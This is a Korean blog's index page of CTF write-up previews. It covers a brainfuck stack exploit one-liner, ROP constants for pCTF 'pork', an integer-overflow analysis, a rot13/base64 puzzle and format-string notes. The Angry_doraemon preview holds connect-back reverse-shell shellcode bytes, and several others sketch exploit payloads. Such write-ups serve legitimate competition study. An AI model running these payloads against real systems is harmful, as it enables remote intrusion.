본문 바로가기

CTF

pwn200 http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/brainfuck문제인데, 쉽다. pwable.kr처럼 gotoverwrite로 해결할 수는 없고,(bf이 스택영역을 사용하기 때문) 간단히 - 를 이용해 현재 스택프레임의 ret을 조절해서 shell을 실행하는 함수의 주소로 바꿔주면 된다. (perl -e 'print ">"x51,"-"x47';cat)|./bf 더보기
Diary from socket import *from struct import *from time import sleepp = lambda x : pack(" 더보기
[pCTF] pork from Sanguine import * bss=0x0804ad15 #bss+15 _404_str=0x08049ac2_not_found_str=0x08049ab8 fd = 4read_plt=0x0804893cwrite_plt=0x080488fcsprintf_plt=0x0804887cexit_plt=0x08048aac #strcmp를 leak하면 __strcmp_sse4_2의 주소가 저장되기 때문에 setuid로 해야 offset이 맞아 떨어진다.setuid_plt=0x080489acsetuid_got=0x0804acb4setuid_offset=0x000bb6c0 system_offset=0x00041260 pppr=0x080499a6ppr=pppr+1pop_ebp_ret=0x08048b43lr=0x804.. 더보기
vuln 400 간단한 책정보 등록 프로그램이지만, 허술한 부분을 여러군대 발견 할 수 있다. 1.댓글이 달리면 게시물이 안 지워진다. 고로, 처음 게시물이 생성되면 댓글이 자동으로 한개가 들어가는데, 정상적인 방법으로는 게시물을 지울수 없다. 2. 책정보를 저장하는 구조체에서 현재 자신에게 달린 댓글의 수를 저장하는 멤버변수를 가지고 있는데, delete할때, byte로 타입캐스트 한다.(사실 byte로 처음부터 선언된 것일수도 있다) 그러므로 댓글이 127개 이상 달리면, interger overflow가 일어나서, 게시물 삭제가 가능해진다. 3.exploitable한 버그는 아니지만, flush를 하지 않아서 입출력의 싱크가 맞지 않는 경우가 있다. 4.중간에 있는 노드만 삭제 시킬 수 있다. 왜냐하면 게시물을 지.. 더보기
MIC Check (7pt) 암호문 하나가 주어져있고, 해독하는 문제이다. 대회당시때는 풀지못햇지만, 이후에 rot와 base64라는 이야기를 듣고 풀어보았다. from string import translate,maketrans,lowercase,uppercaseimport base64 problem="Q2QnT29oUNW0wtWqySDbw2UhvRlkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei" def rot13(string): for i in xrange(-13,14): table=maketrans(lowercase+uppercase,lowercase[i:]+lowercase[:i]+uppercase[i:]+uppercase[:i]) print base64.b64decode(translate(string,table)) .. 더보기
Angry_doraemon 기존의 내가 작성한 exploit으로 시도하니 공격되지 않았다.이유는 다음과 같다. 1.열린 포트가 문제포트 말곤 없다. - 바인드, 리버스쉘 둘다 작동안함.2.recv의 버퍼를 너무 작게주어서, 이상한 값이 릭되었다. *참고로 문제 푸는도중 여러 리버스쉘을 써봣지만, 스택으로 점프하는 놈도 있어서 잘되지 않았고, 메타스프로잇의 리버스쉘도 잘 되지 않았다. 아래가 잘 동작한 리모트 쉘이다."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80""\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68""\xcb\xfa\x4d\xbb" #ip "\x68\x02\x00""\x22\xb8" #port"\x89\xe1\xb0\x66\x50\.. 더보기
pwn3 시그니쳐 확인elf 32bit 한번 실행시켜보았다. strace 에 attach한후 간단히 분석해봄특이한 함수는 보이지 않고 eip컨트롤 가능함이 보임 로컬문제라면 간단히 환경변수라든지 공격법이 많겟지만,이건 데몬서비스로 돌리는 리모트문제임.데몬서비스로 돌리는 만큼 do_system으로 eip를 바꿔서 쉘을 따보도록 하겟음. 그게 젤 간단할듯함.근데 do_system이 어딧는지 모르니 메모리릭이 있는지 찾아봐야댐. ida로 붙여서보면 FSB를 할수 있다는것을 알 수 있음. ida로 분석해보면 알겟지만,처음에 ix란 함수에서 malloc을 하고 pwn: %d라는 문자열을 저장한다.근데 free를 하고 똑같은 크기를 다시 malloc하기 떄문에 알고리즘상 똑같은 청크를 다시받아오게 된다. 그리고 show함수.. 더보기
CODEGATE2014 vuln300 (4stone) write-up 더보기
CODEGATE 2013 binary300 write-up 더보기
CODEGATE 2013 vuln300 write-up 더보기